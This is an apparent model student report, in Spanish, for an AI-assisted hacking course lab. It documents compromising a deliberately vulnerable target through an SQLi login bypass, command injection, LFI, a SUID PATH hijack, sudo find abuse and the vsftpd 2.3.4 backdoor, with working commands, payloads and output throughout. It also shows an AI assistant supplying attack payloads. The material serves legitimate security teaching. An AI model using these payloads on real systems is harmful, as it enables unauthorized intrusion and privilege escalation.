Informe de Proceso — Laboratorio DEMO

Ejemplo de entrega con puntaje máximo (100/100) · Curso de Hacking con IA

Alumno: Nombre Apellido · **Fecha:** 22-10-2026 · **Target:** 172.30.0.10 (Linux) / 127.0.0.1:<puerto> (Win-Mac)

Resumen. Comprometí el target completo. Obtuve acceso como `www-data` encadenando un bypass de login por SQLi con un command injection en la herramienta de diagnóstico, y escalé a `root` mediante un SUID vulnerable a PATH hijack. Documenté además una ruta alternativa (backdoor de vsftpd 2.3.4) como validación del flujo "versión → CVE". Capturé ambas flags. Este informe describe el **proceso**: qué hice, con qué herramienta y por qué, y cómo usé la IA en cada fase validando sus respuestas.

Herramientas utilizadas

Cubre categoría 5 · Herramientas (10)

Herramienta	Fase	Por qué esta
`nmap -sV`	Recon	Descubre puertos abiertos e identifica servicio + versión por banner (clave para el flujo versión→CVE).
`ftp` / `curl`	Recon	Login anónimo y descarga de `notes.txt` sin fricción.
Navegador + `curl`	Foothold	Probar el login y el injection de forma manual y luego automatizable.
`nc` (netcat)	Foothold / alterno	Disparar el backdoor y atrapar la shell en 6200.
Asistente IA	Todas	Acelerar hipótesis (CVEs, payloads, GTFOBins). Siempre con verificación manual.

1. Reconocimiento y enumeración

Cubre categoría 1 · Recon (15)

Escaneo de servicios y versiones sobre la IP del target:

```
$ nmap -sV 172.30.0.10
PORT      STATE SERVICE VERSION
21/tcp    open  ftp     vsftpd 2.3.4
80/tcp    open  http    Apache httpd 2.4.x ((Debian))
```

Interpretación: dos servicios. El banner del FTP dice **vsftpd 2.3.4**, una versión históricamente backdoored (lo retomo en la ruta alternativa). El 80 es una app web. Enumeré el FTP anónimo:

```
$ curl -s ftp://172.30.0.10/notes.txt
Internal note - IT team
... el servidor web en el puerto 80 hostea la "Network Diagnostics Tool"
... el developer admitió que shell-ea a `ping` con lo que escribas.
TODO: rotar el job de backup. `backup` corre como root desde cron.
```

La nota da dos pistas: (a) la web ejecuta `ping` con input del usuario (posible command injection) y (b) existe un binario `backup` que corre como root (posible privesc).

> **USO DE IA**
> Le pasé la salida de `nmap` y pregunté: *"¿qué me conviene revisar primero entre un FTP vsftpd 2.3.4 y un Apache con una herramienta de ping?"*. La IA sugirió enumerar la web y, por separado, revisar el CVE del 2.3.4. **Decisión propia:** seguí primero la web porque la nota del FTP apuntaba explícitamente a ella; dejé el CVE como validación posterior para no saltarme el encadenamiento.

2. Acceso inicial (foothold)

Cubre categoría 2 · Foothold (20)

La herramienta de diagnóstico está detrás de un login (`/login.php`). Probé un bypass por SQLi. **Causa raíz:** la query concatena el input sin parametrizar, así que un comentario corta la comprobación de la contraseña.

> **USO DE IA — pensamiento crítico**
> Pedí a la IA un payload de bypass y me dio `admin'#` (sintaxis de MySQL). **Falló** (el login seguía rechazando). Al revisar, el backend es SQLite, donde el comentario de línea es `--` , no `#` . Corregí el payload a `admin'--` y funcionó. **Lección:** la IA asumió MySQL; verifiqué el motor real antes de darlo por válido.

```
POST /login.php   username=admin'-- & password=x
HTTP/1.1 302 Found  ->  Location: index.php   (login bypasseado)
```

Ya autenticado, el campo "host" pasa directo a `system("ping -c 1 ...")` . Inyecté un comando encadenado con `;` :

```
GET /index.php?host=127.0.0.1;id
PING 127.0.0.1 ...
uid=33(www-data) gid=33(www-data) groups=33(www-data)
```

RCE confirmado como `www-data` . Leí la user flag:

```
GET /index.php?host=;cat /var/www/user.txt
```

> USER FLAG → **`FLAG{foothold_as_www_data_via_command_injection}`**

Ruta lateral verificada (no imprescindible): el link *Help* usa `include($_GET['page'])` , un **LFI**: `index.php?page=/etc/passwd` devuelve el archivo, y la propia ayuda insinúa el privesc por `sudo` .

3. Escalada de privilegios

Cubre categoría 3 · Privesc (15)

Enumeré vectores desde la shell de `www-data` :

```
$ find / -perm -4000 -type f 2>/dev/null
/usr/local/bin/backup
$ sudo -l
(root) NOPASSWD: /usr/bin/find
```

Dos vectores. Elegí el **SUID PATH hijack** sobre `backup` . **Mecanismo:** el binario corre como root y llama a `tar` por nombre relativo, así que controlo qué `tar` se ejecuta anteponiendo un directorio en `$PATH` .

```
$ cd /tmp
$ echo -e '#!/bin/bash\n/bin/bash -p' > tar && chmod +x tar
$ PATH=/tmp:$PATH /usr/local/bin/backup
# id
uid=0(root) gid=0(root) groups=0(root)
# cat /root/flag.txt
```

> ROOT FLAG → **`FLAG{r00t_via_suid_path_hijack_gg}`**

Vector alternativo (verificado): `sudo find . -exec /bin/sh \; -quit` también da root (GTFOBins), aprovechando el `sudo` NOPASSWD sobre `find` .

> **USO DE IA**
> Le pregunté a la IA cómo abusar de `find` con sudo; me dio la línea de GTFOBins. La **verifiqué** contra el sitio oficial de GTFOBins antes de ejecutarla (no corro payloads que no entiendo). Para el PATH hijack, la IA explicó el concepto y yo escribí el `tar` falso.

Ruta alternativa — backdoor vsftpd 2.3.4 (bonus)

Bonus · ruta alternativa (+5, tope 100)

Validé el hallazgo del recon: el banner 2.3.4 corresponde al backdoor conocido. Un `USER` que contiene `:)` abre una shell root en el puerto 6200.

```
$ printf 'USER evil:)\r\nPASS x\r\n' | nc 172.30.0.10 21
$ nc 172.30.0.10 6200
# id
uid=0(root) gid=0(root) groups=0(root)
```

USO DE IA

Pregunté: *"¿qué vulnerabilidad conocida tiene vsftpd 2.3.4?"*. La IA identificó el backdoor (CVE-2011-2523) y el trigger `:)`. Lo contrasté con documentación pública antes de probarlo. **Aporte propio:** relacioné el banner del recon con este CVE sin que la IA viera mi escaneo.

Reflexión sobre el uso de inteligencia artificial

Cubre categoría 4 · Uso de IA (20)

- **Por fase:** usé la IA para priorizar en recon, generar el payload de SQLi, explicar el PATH hijack y confirmar el GTFOBins de `find`, y para mapear el banner 2.3.4 a su CVE.
- **Pensamiento crítico:** la IA alucinó la sintaxis SQL (MySQL `#` en vez de SQLite `--`); lo detecté por el fallo y verifiqué el motor real. Nunca ejecuté un payload sin entenderlo.
- **Humano vs IA:** la IA aportó hipótesis y sintaxis; yo decidí el orden del ataque, escribí el `tar` malicioso y conecté el recon con el CVE.
- **Iteración:** refiné el prompt de SQLi ("el backend es SQLite, no MySQL") y la segunda respuesta ya fue correcta.

Cobertura de la rúbrica (100/100)

Categoría	Dónde se cubre en este informe	Pts
1. Reconocimiento y enumeración	nmap + versiones + interpretación + enumeración de FTP y pistas	15
2. Acceso inicial (foothold)	SQLi (causa raíz) + command injection reproducible + user flag	20
3. Escalada de privilegios	enumeración de vectores + PATH hijack ejecutado + mecanismo + root flag	15
4. Uso de inteligencia artificial	IA por fase + error detectado + humano/IA + iteración	20
5. Herramientas: selección y justificación	tabla de herramientas por fase con el porqué	10
6. Evidencias y reproducibilidad	comandos copiables + salidas + ambas flags visibles	10
7. Claridad y estructura	informe por fases, directo, con formato legible	10
TOTAL	**Todas las categorías en nivel Completo**	**100**

Entorno vulnerable a propósito, usado con autorización y solo para fines educativos. Las flags se muestran como evidencia dentro del laboratorio de práctica.